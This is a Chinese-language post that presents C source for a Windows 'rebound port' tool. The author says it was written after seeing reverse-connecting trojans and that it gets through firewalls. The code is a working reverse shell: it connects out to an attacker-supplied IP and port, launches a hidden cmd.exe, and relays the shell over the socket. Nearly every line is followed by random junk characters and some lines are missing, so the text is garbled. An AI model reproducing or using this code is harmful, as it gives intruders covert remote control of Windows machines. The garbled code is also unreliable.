这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,6 IKkyD
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/* ============================== *8I"7'xh
Rebound port in Windows NT 'nT#c[x[0
By wind,2006/7 QG=K^g
===============================*/ II'"Nkxd
#include 9Rm\@E
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#include
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#pragma comment(lib,"wsock32.lib") ,gdud[&|;
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void OutputShell(); OfK>-8
SOCKET sClient; t}YT+S
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &e6!/y&
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void main(int argc,char **argv) ;EB^1*AEw
{ /U
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WSADATA stWsaData; /& W&
int nRet; 0NF=7 j
SOCKADDR_IN stSaiClient,stSaiServer; VTwDa*]AhB
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if(argc != 3) oMNSQMlI
{ T' > MXFLh
printf("Useage:\n\rRebound DestIP DestPort\n"); &\y`9QpVF
return; AGGT]
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} !+u
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WSAStartup(MAKEWORD(2,2),&stWsaData); d.0K~M
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }n( ?|
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stSaiClient.sin_family = AF_INET; {SkE`u4Sz
stSaiClient.sin_port = htons(0); f#kT?!sP
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !<3!ORFO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Am!OLGG4
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printf("Bind Socket Failed!\n"); :Y Ki
return; !pZ<{|cH
} FyQr$;r
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stSaiServer.sin_family = AF_INET; tE#;$Ss
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FuM:~jv
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ox*>HkV
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zd6F}2*6
{ G*f\
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printf("Connect Error!"); h343$,))u
return; 2FcNzAaV
} w{*PZb4
OutputShell(); \(MIDCZ@-
} ^
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void OutputShell() <L+1
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{ MD^,"!A
char szBuff[1024]; 5eiKMKW[
SECURITY_ATTRIBUTES stSecurityAttributes; M@z_tR'3\
OSVERSIONINFO stOsversionInfo; .JOZ2QWm<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oOHY+'V
STARTUPINFO stStartupInfo; ~F^tLi!5
char *szShell; ?t5<S]'r$
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; /i~x.i3
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S Rk%BJ? ~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U&ytZ7iB
stSecurityAttributes.lpSecurityDescriptor = 0; @^Rl{p
stSecurityAttributes.bInheritHandle = TRUE; UM/!dt}DnF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .DI?-=p|_#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); osl\j]U8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K3Bw3j 9
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d'"|Qg_'
stStartupInfo.wShowWindow = SW_HIDE; wX5q=I
stStartupInfo.hStdInput = hReadPipe; d
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !S%0#d2
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GetVersionEx(&stOsversionInfo); \,fa"^8
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switch(stOsversionInfo.dwPlatformId) `^] D;RfE
{ >(-A"jf
case 1: *4e?y
szShell = "command.com"; \1SC:gN*#
break; i),bAU!+m
default: ap8q`a{j^
szShell = "cmd.exe"; 4l7
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break; zn>+\
} wBvVY3VQ^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;{aGEOP'U
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send(sClient,szMsg,77,0); $H)QUFyC
while(1) t.dr<
{ |dz"uIrT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b50mMWtG
if(lBytesRead) xKl1DIN[
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'zbvg0 T
send(sClient,szBuff,lBytesRead,0); E#\Oe_eq~N
} BN `2UVH
else :G6aO
{ r^a:s]
lBytesRead=recv(sClient,szBuff,1024,0); fZj,Q#}D
if(lBytesRead<=0) break; S43JaSw)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O,9^R
} [}M!ez
} q-+:1E
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return; %ioVNbrR7
}